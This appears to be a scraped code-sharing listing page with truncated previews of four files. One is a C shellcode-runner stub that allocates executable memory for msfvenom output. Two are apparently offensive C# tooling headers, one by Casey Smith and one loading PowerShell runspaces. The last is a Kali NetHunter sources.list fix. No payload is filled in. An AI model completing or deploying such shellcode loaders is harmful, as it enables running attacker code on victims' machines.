This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> //VirtualAlloc is defined here | |
unsigned const char payload[] = ""; //shellcode as output by msfv | |
size_t size = 0; //size of payload in bytes (output by msfv) | |
int main(int argc, char **argv) { | |
char *code; //Holds a memory address | |
code = (char *)VirtualAlloc( //Allocate a chunk of memory and store the starting address | |
NULL, size, MEM_COMMIT, | |
PAGE_EXECUTE_READWRITE //Set the memory to be writable and executable | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Diagnostics; | |
using System.Reflection; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
/* | |
Author: Casey Smith, Twitter: @subTee | |
License: BSD 3-Clause |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nethunter sources.list update fix | |
open nethunter terminal | |
# mv /etc/apt/sources.list /sdcard | |
deb http://http.kali.org/kali kali-rolling main contrib non-free | |
# For source package access, uncomment the following line | |
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free | |
vim sources.list on /sdcard, copy / paste above to file and save |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Text; | |
using System.Text.RegularExpressions; | |
using System.Management.Automation.Runspaces; | |
using System.Runtime.InteropServices; | |
using System.Net; | |
using RGiesecke.DllExport; | |
namespace Export | |
{ |